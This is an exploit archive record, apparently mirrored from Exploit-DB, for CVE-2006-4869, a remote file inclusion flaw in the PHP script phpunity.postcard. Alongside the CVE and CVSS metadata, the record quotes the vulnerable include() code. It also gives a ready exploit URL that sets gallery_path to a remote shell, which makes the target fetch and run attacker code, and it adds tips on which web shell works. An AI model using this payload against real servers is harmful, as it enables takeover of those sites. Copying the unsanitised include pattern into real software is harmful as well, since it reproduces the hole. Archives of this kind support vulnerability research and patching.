{"exploit":{"id":"EDB-2357","name":"phpunity.postcard - 'gallery_path' Remote File Inclusion (RFI)","description":"phpunity.postcard - 'gallery_path' Remote File Inclusion (RFI)","cves":["CVE-2006-4869"],"author":"Rivertam","published":"2006-09-13","platform":"php","type":"webapps","language":"Text","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/2357","path":"exploits/php/webapps/2357.txt","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-2357.txt","vulnerabilities":[{"id":"CVE-2006-4869","state":"PUBLISHED","title":null,"titleSource":null,"description":"PHP remote file inclusion vulnerability in phpunity-postcard.php in phpunity.postcard allows remote attackers to execute arbitrary PHP code via a URL in the gallery_path parameter.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2006-4869","cvss":{"version":"2.0","baseScore":7.5,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2006-4869"},"updatedAt":"2024-08-07T19:32:21.645Z","retrievedAt":"2026-11-27T07:08:35.488Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-2357.png?v=2","url":"https://exploitbin.com/exploits/EDB-2357","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-2357/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-2357/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"######################################################################################\n#                                                                                    #\n#     phpunity.postcard (phpunity-postcard.php) Remote File Inclusion Exploit        #\n#                                                                                    #\n######################################################################################\n#                                                                                    #\n#     Affected Software .: phpunity.postcard                                         #\n#     Vendor ............: http://www.perlunity.de/                                  #\n#     Class .............: Remote File Inclusion                                     #\n#     Risk ..............: high (Remote File Execution)                              #\n#     Found by ..........: Rivertam                                                  #\n#     Contact ...........: rivertam88[at]gmail[.]com                                 #\n#     Discovered on .....: 04.09.2006 (dd.mm.yyyy)                                   #\n#     Published on ......: 13.09.2006 (dd.mm.yyyy)                                   #\n#                                                                                    #\n######################################################################################\n#                                                                                    #\n#     Affected File:                                                                 #\n#          /phpunity-postcard.php                                                    #\n#                                                                                    #\n#     Vulnerable Code:                                                               #\n#          if(isset($plgallery_epost)) {                                             #\n#            $keep_url = \"?\".$_SERVER['QUERY_STRING'];                               #\n#              if(isset($gallery_path)) {                                            #\n#                include(\"$gallery_path/admin/inc/config.inc.php\");                  #\n#              } else {                                                              #\n#                include(\"../../phpunity-easygallery/admin/inc/config.inc.php\");     #\n#              }                                                                     #\n#          }                                                                         #\n#                                                                                    #\n#     Description:                                                                   #\n#     $gallery_path is not defined before being used and in the config it is         #\n#     standardly out-commentated. To get into the if request we must define          #\n#     $plgallery_epost as 1 (or somethings else)                                     #\n#                                                                                    #\n######################################################################################\n#                                                                                    #\n#     Exploit:                                                                       #\n#     http://[target]/phpunity-postcard.php?plgallery_epost=1&gallery_path=[shell]?  #\n#                                                                                    #\n######################################################################################\n#                                                                                    #\n#     Notice:                                                                        #\n#     Works not with the c99-php shell cause if you use it the plgallery_epost=1     #\n#     getting lost when you change dir or make another action and then the shell     #\n#     unloads.                                                                       #\n#                                                                                    #\n######################################################################################\n#                                                                                    #\n#     Greets: Rivertam [National Cracker Crew]                                       #\n#                                                                                    #\n######################################################################################\n#                                                                                    #\n#     Greets to:                                                                     #\n#     Silver, DOOMER85, Betta splendens and Dye                                      #\n#                                                                                    #\n######################################################################################\n\n# milw0rm.com [2006-09-13]","sha256":"d9410fc568d3905e8a6fd3df882c2dc49eb023772a7a91a17f8a77659e48debf","bytes":4986,"fetchedAt":"2026-11-27T07:08:35.249Z","encoding":"utf-8 (display only; download retains original bytes)"}